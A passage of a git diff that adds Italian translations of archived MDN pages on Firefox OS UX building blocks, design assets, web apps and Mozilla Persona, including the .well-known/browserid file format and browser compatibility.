+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+      <tr>
+       <td colspan="2" style="vertical-align: top;">
+        <h2 id="Seek_bar_2">Seek bar</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top;">
+        <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4923/seekbar-sample.png" style="height: 240px; width: 160px;"></p>
+
+        <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Seek_bar">Dettagli</a><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Seek_bar/Coding">Esempi e guide</a></p>
+       </td>
+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+      <tr>
+       <td colspan="2">
+        <h2 id="Stati">Stati</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top;">
+        <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4637/banner.png" style="height: 240px; width: 160px;"><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Status">Dettagli</a><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Status/Coding">Esempi e guide</a></p>
+       </td>
+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+      <tr>
+       <td colspan="2" style="vertical-align: top;">
+        <h2 id="Bottoni_2">Bottoni</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top;">
+        <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4925/switch-settings-sample.png" style="height: 240px; width: 160px;"></p>
+
+        <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Switch">Dettagli</a><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Switch/Coding">Esempi e guide</a></p>
+       </td>
+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+      <tr>
+       <td colspan="2" style="vertical-align: top;">
+        <h2 id="Schede">Schede</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top;">
+        <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4955/tab-screenshot.png" style="height: 240px; width: 160px;"></p>
+
+        <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Tabs">Dettagli</a><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Tabs/Coding">Esempi e guide</a></p>
+       </td>
+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+      <tr>
+       <td colspan="2" style="vertical-align: top;">
+        <h2 id="Barra_degli_strumenti">Barra degli strumenti</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top;">
+        <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4967/toolbar-sample.png" style="height: 240px; width: 160px;"></p>
+
+        <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Toolbar">Dettagli</a><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Toolbar/Coding">Esempi e guide</a></p>
+       </td>
+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+      <tr>
+       <td colspan="2" style="vertical-align: top;">
+        <h2 id="Menu_di_selezione">Menu di selezione</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top;">
+        <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4975/selector-nested.png" style="height: 240px; width: 160px;"></p>
+
+        <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Value_selector">Dettagli</a></p>
+       </td>
+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+
+    <p> </p>
+
+    <h2 id="Stati_2">Stati</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4637/banner.png" style="height: 240px; width: 160px;"><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Status">Dettagli</a><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Status/Coding">Esempi e guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Bottoni_3">Bottoni</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4925/switch-settings-sample.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Switch">Dettagli</a><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Switch/Coding">Esempi e guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Schede_2">Schede</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4955/tab-screenshot.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Tabs">Dettagli</a><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Tabs/Coding">Esempi e guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Barra_degli_strumenti_2">Barra degli strumenti</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4967/toolbar-sample.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Toolbar">Dettagli</a><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Toolbar/Coding">Esempi e guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Menu_di_selezione_2">Menu di selezione</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4975/selector-nested.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Value_selector">Dettagli</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/it/archive/b2g_os/ux/design_asset_library/index.html b/files/it/archive/b2g_os/ux/design_asset_library/index.html
new file mode 100644
index 0000000000..6cc81d2bc0
--- /dev/null
+++ b/files/it/archive/b2g_os/ux/design_asset_library/index.html
@@ -0,0 +1,31 @@
+---
+title: Design asset library
+slug: Archive/B2G_OS/UX/Design_asset_library
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Design_asset_library
+---
+<p>Qui troverai le specifiche per il design, lavori artistici e altri materiali che ti saranno utili per ultimare l'aspetto della tua Web app. La maggioranza dei file sono in formato Photoshop.</p>
+<h2 id="Design_asset_library">Design asset library</h2>
+<ul>
+  <li>Visual design assets, inclusi building blocks, modelli, sfondi e altro, sono disponibili per il dowload da <a href="https://assets.mozillalabs.com/Projects/Firefox%20OS/UX/VsD/v01.0/">asset library</a>.</li>
+</ul>
+<h2 id="Controlli_comuni">Controlli comuni</h2>
+<ul>
+  <li><a href="https://mdn.mozillademos.org/files/4659/CommonControls_20130212.psd">Controlli comuni</a></li>
+  <li><a href="https://mdn.mozillademos.org/files/4661/IconsMedia_20130215.psd">Icone per media</a></li>
+  <li><a href="https://mdn.mozillademos.org/files/4663/IconsCommunications_20130122.psd">Icone per comunicazioni</a></li>
+  <li><a href="https://mdn.mozillademos.org/files/4657/IconsPrimaryAction_20130122.psd">Icone  per azioni principali</a></li>
+  <li><a href="https://mdn.mozillademos.org/files/4667/IconsSettings_20130122.psd">Icona impostazioni</a></li>
+  <li><a href="https://mdn.mozillademos.org/files/4665/IconsStatusBar_20130122.psd">Icone della status bar</a></li>
+</ul>
+<h2 id="Colori">Colori</h2>
+<ul>
+  <li>La paletta predefinita dei colori di Firefox OS è inclusa nel file <a href="https://mdn.mozillademos.org/files/4659/CommonControls_20130212.psd">common controls</a></li>
+</ul>
+<h2 id="Icone">Icone</h2>
+<ul>
+  <li><a href="http://www.mozilla.org/en-US/styleguide/products/firefoxos/icons/">Linee guida e modelli per le icone delle App</a></li>
+</ul>
+<h2 id="Vedi_anche">Vedi anche</h2>
+<ul>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX" title="/en-US/docs/Mozilla/Firefox_OS/UX">Esperienza utente in Firefox OS</a></li>
+</ul>
diff --git a/files/it/archive/b2g_os/web_applications/index.html b/files/it/archive/b2g_os/web_applications/index.html
new file mode 100644
index 0000000000..6debfb629d
--- /dev/null
+++ b/files/it/archive/b2g_os/web_applications/index.html
@@ -0,0 +1,61 @@
+---
+title: Web applications
+slug: Archive/B2G_OS/Web_applications
+tags:
+  - Web apps
+---
+<p class="summary">This page is intended to be a first, non thorough, attempt to collect web apps.</p>
+
+<h2 id="Categories">Categories</h2>
+
+<table class="standard-table" style="height: 141px; width: 586px;">
+ <caption>Note taking apps</caption>
+ <tbody>
+  <tr>
+   <td><strong>Name</strong></td>
+   <td><strong>License</strong></td>
+   <td><strong>Homepage</strong></td>
+  </tr>
+  <tr>
+   <td>Laverna</td>
+   <td>Mozilla Public License Version 2.0</td>
+   <td><a href="https://laverna.cc/">https://laverna.cc/</a></td>
+  </tr>
+  <tr>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<table class="standard-table" style="height: 107px; width: 581px;">
+ <caption>Voip</caption>
+ <tbody>
+  <tr>
+   <td>Name</td>
+   <td>License</td>
+   <td>Homepage</td>
+  </tr>
+  <tr>
+   <td>Skype</td>
+   <td>Proprietary software</td>
+   <td><a href="https://web.skype.com/">https://web.skype.com/</a></td>
+  </tr>
+  <tr>
+   <td>Discord</td>
+   <td>Proprietary software</td>
+   <td><a href="https://discordapp.com/">https://discordapp.com/</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Further_references">Further references:</h2>
+
+<p><strong>Alternatives to</strong> - <a href="http://alternativeto.net/platform/online/">http://alternativeto.net/platform/online/</a></p>
+
+<p><strong>Dmoz.org</strong> - <a href="https://www.dmoz.org/Computers/Internet/On_the_Web/Web_Applications/">https://www.dmoz.org/Computers/Internet/On_the_Web/Web_Applications/</a></p>
diff --git a/files/it/archive/index.html b/files/it/archive/index.html
new file mode 100644
index 0000000000..0ea2218ac1
--- /dev/null
+++ b/files/it/archive/index.html
@@ -0,0 +1,21 @@
+---
+title: Archive of obsolete content
+slug: Archive
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive
+---
+<p>Here at MDN, we try to avoid outright deleting content that might be useful to people targeting legacy platforms, operating systems, and browsers. Perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers. Or for "reasons," your company is required to use very old software and you need to build Web content that runs on that software. Or perhaps you're just curious about the history of an obsolete feature or API, and how it worked.</p>
+
+<p>There are many reasons older documentation can be useful. So, we've established this area into which we can archive older documentation. Material in this Archived content zone should <strong>not</strong> be used for building new Web sites or apps for modern browsers. It's here for historical reference only.</p>
+
+<div class="note">
+<p><strong>Note to writers:</strong> We need to try to keep the subpages here organized instead of all dumped into one large folder. Try to create subtrees for categories of material. Also, only move pages here that are <strong>extremely</strong> obsolete. If anyone might realistically need the information in a living product, it may not be appropriate to move it here. In general, it may be best to discuss it in the <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">MDN Web Docs chat room</a> before moving content here.</p>
+</div>
+
+<p>{{SubpagesWithSummaries}}</p>
+
+<h2 id="Subnav">Subnav</h2>
+
+<p>{{ListSubpages("/it/docs/Archive", 2, 0, 1)}}</p>
diff --git a/files/it/archive/mdn/index.html b/files/it/archive/mdn/index.html
new file mode 100644
index 0000000000..9e550840e3
--- /dev/null
+++ b/files/it/archive/mdn/index.html
@@ -0,0 +1,20 @@
+---
+title: MDN Archive
+slug: Archive/MDN
+tags:
+  - Archive
+  - MDN
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/MDN
+---
+<p>{{MDNSidebar}}</p>
+
+<div class="blockIndicator obsolete">
+<p><strong>Obsolete</strong><br>
+ This documentation is obsolete.</p>
+</div>
+
+<p>The documentation listed below is archived, obsolete material about MDN itself.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/it/archive/mozilla/index.html b/files/it/archive/mozilla/index.html
new file mode 100644
index 0000000000..0acec76e6d
--- /dev/null
+++ b/files/it/archive/mozilla/index.html
@@ -0,0 +1,10 @@
+---
+title: Archived Mozilla and build documentation
+slug: Archive/Mozilla
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Mozilla
+---
+<p>These articles are archived, obsolete documents about Mozilla, Gecko, and the process of building Mozilla projects.</p>
+<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/it/archive/mozilla/persona/.well-known-browserid/index.html b/files/it/archive/mozilla/persona/.well-known-browserid/index.html
new file mode 100644
index 0000000000..66614c5b3d
--- /dev/null
+++ b/files/it/archive/mozilla/persona/.well-known-browserid/index.html
@@ -0,0 +1,44 @@
+---
+title: .well-known-browserid
+slug: Archive/Mozilla/Persona/.well-known-browserid
+translation_of: Archive/Mozilla/Persona/.well-known-browserid
+---
+<p>Domains advertise their ability to act as Persona Identity Providers (IdPs) by publishing a support document at <code>/.well-known/browserid</code>. This JSON-formatted document must be served over HTTPS with the content type <code>application/json</code>.</p>
+<p>This document may either specify how to provision and authenticate users, or may delegate its authority to another Identity Provider.</p>
+<p><strong>Note:</strong> you should also consult the <a class="link-https" href="https://github.com/mozilla/id-specs/blob/prod/browserid/index.md">BrowserID Protocol Specification</a> as the authoritative technical reference.</p>
+<h2 id="Basic_Support">Basic Support</h2>
+<p>A domain which directly acts an an IdP must provide three values in its support document:</p>
+<ul>
+ <li><code>public-key</code>: The public part of the domain's cryptographic key.</li>
+ <li><code>authentication</code>: The domain's page for asking users to log in.</li>
+ <li><code>provisioning</code>: The domain's page for certifying its users' identities.</li>
+</ul>
+<p id="Example_.2F.well-known.2Fbrowserid_file.3A"><strong>Example /.well-known/browserid file:</strong></p>
+<pre class="brush:js;">{
+    "public-key": {
+        "algorithm": "RS",
+        "n": "82818905405105134410187227495885391609221288015566078542117409373192106382993306537273677557482085204736975067567111831005921322991127165013340443563713385983456311886801211241492470711576322130577278575529202840052753612576061450560588102139907846854501252327551303482213505265853706269864950437458242988327",
+        "e": "65537"
+    },
+    "authentication": "/browserid/sign_in.html",
+    "provisioning": "/browserid/provision.html"
+}</pre>
+<h2 id="Delegated_Support">Delegated Support</h2>
+<p>HTTP redirects and other means of "moving" a /.well-known/browserid file are not permitted. If an IdP would like to delegate to another domain for authentication and provisioning, it may publish a support document which only contains an <code>authority</code> entry.</p>
+<p id="Example_.2F.well-known.2Fbrowserid.3A"><strong>Example /.well-known/browserid:</strong></p>
+<pre class="brush:js;">{
+  "authority": "subdomain.example.com"
+}
+</pre>
+<p>Then <code>subdomain.example.com</code> would host its own support document, as per the example above.</p>
+<p>The <code>authority</code> field is specified as a hostname plus, optionally, a port. It may not contain a path. So <code>"example.com</code>", "<code>subdomain.example.com"</code>, and "<code>subdomain.example.com:8080</code>" are all valid, but "<code>subdomain.example.com/login</code>" is not.</p>
+<p>A domain may delegate to any other domain, so long as the other domain publishes a <code>/.well-known/browserid</code> document.</p>
+<h2 id="Checklist">Checklist</h2>
+<ul>
+ <li>The document is formatted as valid JSON</li>
+ <li>The document is served over SSL</li>
+ <li>The document is served with a content type of "<code>application/json</code>"</li>
+ <li>The document is hosted on the domain exactly matching that in the email addresses assigned to users. For example: <code>example.com</code>, not <code>www.example.com</code>.</li>
+ <li>If delegating to another Identity Provider, the <code>authority</code> value is specified only as a hostname and, optionally, a port.</li>
+</ul>
+<p>Many of these can be tested automatically with the <a class="link-https" href="https://github.com/mozilla/browserid/blob/dev/scripts/check_primary_support" title="https://github.com/mozilla/browserid/blob/dev/scripts/check_primary_support">check_primary_support script from the Persona</a> codebase<strong>.</strong></p>
diff --git a/files/it/archive/mozilla/persona/compatibilità_con_i_browser/index.html b/files/it/archive/mozilla/persona/compatibilità_con_i_browser/index.html
new file mode 100644
index 0000000000..33af33db7c
--- /dev/null
+++ b/files/it/archive/mozilla/persona/compatibilità_con_i_browser/index.html
@@ -0,0 +1,86 @@
+---
+title: Browser compatibility
+slug: Archive/Mozilla/Persona/Compatibilità_con_i_Browser
+translation_of: Archive/Mozilla/Persona/Browser_compatibility
+---
+<h2 id="Browser_supportati">Browser supportati</h2>
+<p>Persona è sviluppato, testato e supportato dai seguenti browser. Grazie alla libreria JavaScript multipiattaforma di Persona, gli utenti non hanno bisogno di componenti aggiuntivi per usare il sistema.</p>
+<table>
+ <tbody>
+  <tr>
+   <th colspan="3" scope="row" style="text-align: center; background-color: #d3d7cf;"><strong>Browser Desktop</strong></th>
+  </tr>
+  <tr>
+   <th scope="row"><strong>Internet Explorer</strong></th>
+   <td colspan="2" rowspan="1" style="background-color: #8ae234;">8.0<sup>*</sup>, 9.0<sup>†</sup>, 10.0<sup>*</sup><sup>*</sup> (vedi <a href="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22" title="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22">Modalità Compatibilità</a> più sotto)</td>
+  </tr>
+  <tr>
+   <th scope="row"><strong>Firefox</strong></th>
+   <td colspan="2" style="background-color: #8ae234;">Versione Stabile Corrente, Beta, Aurora, Nightly, e Extended Support Releases<br>
+    Versione Stabile Precedente</td>
+  </tr>
+  <tr>
+   <th scope="row"><strong>Chrome</strong></th>
+   <td colspan="2" style="background-color: #8ae234;">Ultima Versione Stabile</td>
+  </tr>
+  <tr>
+   <th scope="row"><strong>Safari</strong></th>
+   <td colspan="2" style="background-color: #8ae234;">Ultima Versione Stabile</td>
+  </tr>
+  <tr>
+   <th scope="row"><strong>Opera</strong></th>
+   <td colspan="2" style="background-color: #8ae234;">Ultima Versione Stabile<sup>‡</sup></td>
+  </tr>
+  <tr>
+   <th colspan="3" scope="row" style="text-align: center; background-color: #d3d7cf;"><strong>Browser iOS</strong></th>
+  </tr>
+  <tr>
+   <th scope="row"><strong>Safari Mobile</strong></th>
+   <td colspan="2" rowspan="1" style="background-color: #8ae234;">iOS 5.x — 6.x</td>
+  </tr>
+  <tr>
+   <th colspan="3" scope="row" style="text-align: center; background-color: #d3d7cf;"><strong>Browser Android</strong></th>
+  </tr>
+  <tr>
+   <th scope="row"><strong>Browser Predefinito</strong></th>
+   <td colspan="2" rowspan="1" style="background-color: #8ae234;">2.2 — 4.x</td>
+  </tr>
+  <tr>
+   <th scope="row"><strong>Firefox</strong></th>
+   <td colspan="2" style="background-color: #8ae234;">Versione Stabile Corrente, Beta, Aurora, Nightly<br>
+    Versione Stabile Precedente</td>
+  </tr>
+  <tr>
+   <th scope="row"><strong>Chrome</strong></th>
+   <td colspan="2" style="background-color: #8ae234;">Ultima Versione Stabile</td>
+  </tr>
+ </tbody>
+</table>
+<p><sup>*</sup>: Per Windows XP. <sup>†</sup>: Per Windows Vista e Windows 7. <sup>*</sup><sup>*</sup>Windows 8.<sup>  </sup><sup>‡</sup>: Tempo permettendo.</p>
+<h2 id="Browser_non_supportati">Browser non supportati</h2>
+<ul>
+ <li>Internet Explorer versioni 6.0 e 7.0 non è supportato. Agli utenti verrà chiesto di aggiornare il proprio browser. Vedi anche la sezione <a href="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22" title="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22">Modalità Compatibilità</a> più sotto.</li>
+ <li>Google Chrome Frame non è supportato e non è funzionante. Il supporto potrebbe essere aggiunto successivamente (<a href="https://github.com/mozilla/browserid/issues/796" title="https://github.com/mozilla/browserid/issues/796">Issue #796</a>).</li>
+ <li>Browser di terze parti su iOS non sono supportati e non sono funzionanti. Il supporto potrebbe essere aggiunto successivamente (<a href="https://github.com/mozilla/browserid/issues/2034" title="https://github.com/mozilla/browserid/issues/2034">Issue #2034</a>).</li>
+</ul>
+<h2 id="Modalità_compatibilità_di_Internet_Explorer">"Modalità compatibilità" di Internet Explorer</h2>
+<p>Dalla versione 8.0 in poi, Internet Explorer supporta la cosiddetta Modalità Compatibilità, nella quale il browser può emulare una versione del browser precedente alla 8.0 nel renderizzare una pagina. Questa funzionalità può essere controllata in tre modi</p>
+<ol>
+ <li>come impostazione locale del browser</li>
+ <li>basandosi sulla presenza e il valore della dichiarazione <a href="https://developer.mozilla.org/docs/Quirks_Mode_and_Standards_Mode" title="https://developer.mozilla.org/docs/Quirks_Mode_and_Standards_Mode">DOCTYPE</a> nella pagina</li>
+ <li>come istruzione inviata dal sito stesso, utilizzando l'intestazione <a href="http://msdn.microsoft.com/library/cc288325%28v=vs.85%29.aspx" title="http://msdn.microsoft.com/library/cc288325%28v=vs.85%29.aspx">"X-UA-Compatible"</a> come intestazione HTTP o tramite l'uso del tag <a href="https://developer.mozilla.org/docs/HTML/Element/meta" title="https://developer.mozilla.org/docs/HTML/Element/meta"><code>&lt;meta&gt;</code></a> nella pagina. Questo metodo bypassa gli altri due.</li>
+</ol>
+<p>Poiché le versioni di Internet Explorer precedenti alla 8.0 non sono supportate da Persona, qualsiasi versione di Internet Explorer configurata per emulare versioni pre-8.0 non funzioneranno con Persona. Il problema solitamente si verifica per una di queste ragioni:</p>
+<ul>
+ <li>il sito sta utilizzando "X-UA-Compatible" per indicare esplicitamente al browser di emulare una versione pre-8.0 version</li>
+ <li>nelle pagine del sito il DOCTYPE non è dichiarato, non si trova nella prima riga della pagina, o imposta il browser in quirks mode, e il sito non ha il settaggio "X-UA-Compatible" per IE versione 8.0 o successiva</li>
+ <li>il browser è configurato localmente per utilizzare una Modalità Compatibilità per una versione pre-8.0 e il sito non sta bypassando queste impostazioni utilizzando "X-UA-Compatible" per indicare una versione di IE pari o superiore alla 8.0.</li>
+</ul>
+<p>Per ulteriori informazioni, vedere <a href="https://blogs.msdn.com/b/askie/archive/2009/03/23/understanding-compatibility-modes-in-internet-explorer-8.aspx?Redirected=true" title="https://blogs.msdn.com/b/askie/archive/2009/03/23/understanding-compatibility-modes-in-internet-explorer-8.aspx?Redirected=true">"Comprendere le Modalità Compatibilità in Internet Explorer 8"</a> e <a href="http://hsivonen.iki.fi/doctype/index.html#ie8" title="http://hsivonen.iki.fi/doctype/index.html#ie8">"Complicazioni su IE8 e IE9"</a>.</p>
+<h2 id="Altri_Browser">Altri Browser</h2>
+<p>Anche se non esplicitamente supportato, qualunque browser includa sia {{ domxref("window.postMessage()") }} che {{ domxref("Storage", "localStorage") }} dovrebbe funzionare. Queste API sono disponibli in tutti i principali browser da Marzo 2010.</p>
+<h2 id="Problemi_noti">Problemi noti</h2>
+<ul>
+ <li>I browser devono accettare i cookie di terze parti per funzionare appieno (<a href="https://github.com/mozilla/browserid/issues/1352" title="https://github.com/mozilla/browserid/issues/1352">Issue #1352</a>).</li>
+ <li>Gli utenti di Android 2.x senza un browser di default potrebbero non riuscire ad effettuare il login (<a href="https://github.com/mozilla/browserid/issues/1854" title="https://github.com/mozilla/browserid/issues/1854">Issue #1854</a>).</li>
+</ul>
diff --git a/files/it/archive/mozilla/persona/index.html b/files/it/archive/mozilla/persona/index.html
new file mode 100644
index 0000000000..ae58667799
--- /dev/null
+++ b/files/it/archive/mozilla/persona/index.html
@@ -0,0 +1,175 @@
+---
+title: Persona
+slug: Archive/Mozilla/Persona
+translation_of: Archive/Mozilla/Persona
+---
+<div class="boxed translate-display">
+<div class="summary"><a href="https://plus.google.com/111906898111013941029/posts?pid=5965858120233436114&amp;oid=111906898111013941029"><img alt="" src="https://plus.google.com/111906898111013941029/posts?pid=5965858120233436114&amp;oid=111906898111013941029"></a>Sistema di autenticazione singola semplice e attento alla privacy: permetti ai tuoi utenti di autenticarsi sul tuo sito con il proprio indirizzo email e liberati dalla gestione delle password.</div>
+
+<div class="column-container">
+<p><span class="seoSummary"><a href="https://login.persona.org/">Mozilla Persona</a> è un sistema di login per il Web utilizzabile con qualsiasi browser, facile da usare e da integrare. Funziona su <a href="https://developer.mozilla.org/it/docs/persona/Browser_compatibility">tutti i principali browser</a> e puoi <a href="https://developer.mozilla.org/it/docs/Persona/Quick_Setup">iniziare a usarlo subito</a>.</span></p>
+
+<p>Perché dovresti usare Persona sul tuo sito?</p>
+
+<ol>
+ <li><strong>Persona elimina completamente le password per i singoli siti,</strong> liberando l'utente dalla necessità di creare, gestire e tenere al sicuro le password.</li>
+ <li><strong>Persona è facile da usare.</strong> In solo due clic, un utente Persona può autenticarsi su un nuovo sito, come <a href="http://voo.st">Voost</a>, aggirando gli ostacoli associati alla creazione di un account.</li>
+ <li><strong>Persona è facile da implementare</strong><strong>. </strong>Gli sviluppatori possono aggiungere Persona sul proprio sito in mezza giornata.</li>
+ <li><strong>Non c'è alcun vincolo</strong>. Gli sviluppatori ottengono da tutti i loro utenti un indirizzo verificato, mentre gli utenti possono utilizzare qualsiasi indirizzo email con Persona.</li>
+</ol>
+
+<p>Inoltre, Persona può solo migliorare: è sviluppato su un <strong>protocollo aperto e decentralizzato,</strong> che è progettato per permettere <strong>un'integrazione diretta all'interno dei browser</strong> e il <strong>supporto nativo da parte dei provider di posta</strong><strong>. </strong>I siti che implementano Persona oggi, otterranno automaticamente questi miglioramenti, senza bisogno di modificare il proprio codice.</p>
+</div>
+
+<hr>
+<div class="column-container">
+<h2 id="Usare_Persona_sul_proprio_sito">Usare Persona sul proprio sito</h2>
+
+
+<div class="column-third">
+<h3 id="Per_iniziare">Per iniziare</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/Persona/Why_Persona">Perché Persona?</a></dt>
+ <dd>Che cosa ha di speciale persona rispetto ad altri sistemi di identificazione e autenticazione.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Persona/Quick_Setup">Preparazione veloce</a></dt>
+ <dd>Una guida passo passo che insegna come aggiungere Persona al proprio sito web.</dd>
+</dl>
+
+<h3 id="Riferimento_delle_API">Riferimento delle API</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/Persona/The_navigator.id_API">La API navigator.id</a></dt>
+ <dd>L'API del browser.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Persona/Remote_Verification_API">Riferimento dell'API di verifica</a></dt>
+ <dd>L'API di verifica remota.</dd>
+</dl>
+</div>
+
+<div class="column-third">
+<h3 id="Guide">Guide</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/Persona/Security_Considerations">Considerazioni sulla sicurezza</a></dt>
+ <dd>Pratiche e tecniche per assicurarsi che il proprio deploy di Persona sia sicuro.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Persona/Browser_compatibility">Compatibilità con i browser</a></dt>
+ <dd>Scopri esattamente quali browser supportano Persona.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Persona/Internationalization">Internazionalizzazione</a></dt>
+ <dd>Scopri come Persona gestisce lingue diverse.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Persona/The_implementor_s_guide">Guida dell'implementatore</a></dt>
+ <dd>Suggerimenti dai siti che hanno già aggiunto il supporto a Persona.</dd>
+</dl>
+</div>
+
+<div class="column-third">
+<h3 id="Risorse">Risorse</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/Persona/Libraries_and_plugins">Librerie e plugin</a></dt>
+ <dd>Trova librerie semplici da aggiungere per il tuo linguaggio di programmazione, framework web, blog o content management system preferito.</dd>
+ <dt><a class="link-https" href="https://github.com/mozilla/browserid-cookbook">Ricette per Persona</a></dt>
+ <dd>Codice sorgente di esempio per i siti che usano Persona. Include esempi per C# (MVC3), PHP, Node.js e altri.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/persona/marchio">Linee guida per l'interfaccia utente</a></dt>
+ <dd>Come presentare l'autenticazione con Persona ai propri utenti.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Diventare_un_Identity_Provider">Diventare un Identity Provider</h2>
+
+<p>Se sei un provider di email o un servizio di provider di identificazione, controlla i link qui sotto per scoprire come diventare un Identity Provider di Persona.</p>
+
+<div class="column-container">
+<div class="column-third">
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/Persona/Identity_Provider_Overview">Panoramica di Identity Provider</a></dt>
+ <dd>Una visione di alto livello su Persona Identity Providers.</dd>
+</dl>
+</div>
+
+<div class="column-third">
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/Persona/Implementing_a_Persona_IdP">Implementare un Identity Provider</a></dt>
+ <dd>Una guida minuziosa ai dettagli tecnici su come diventare un Identity Provider.</dd>
+</dl>
+</div>
+
+<div class="column-third">
+<dl>
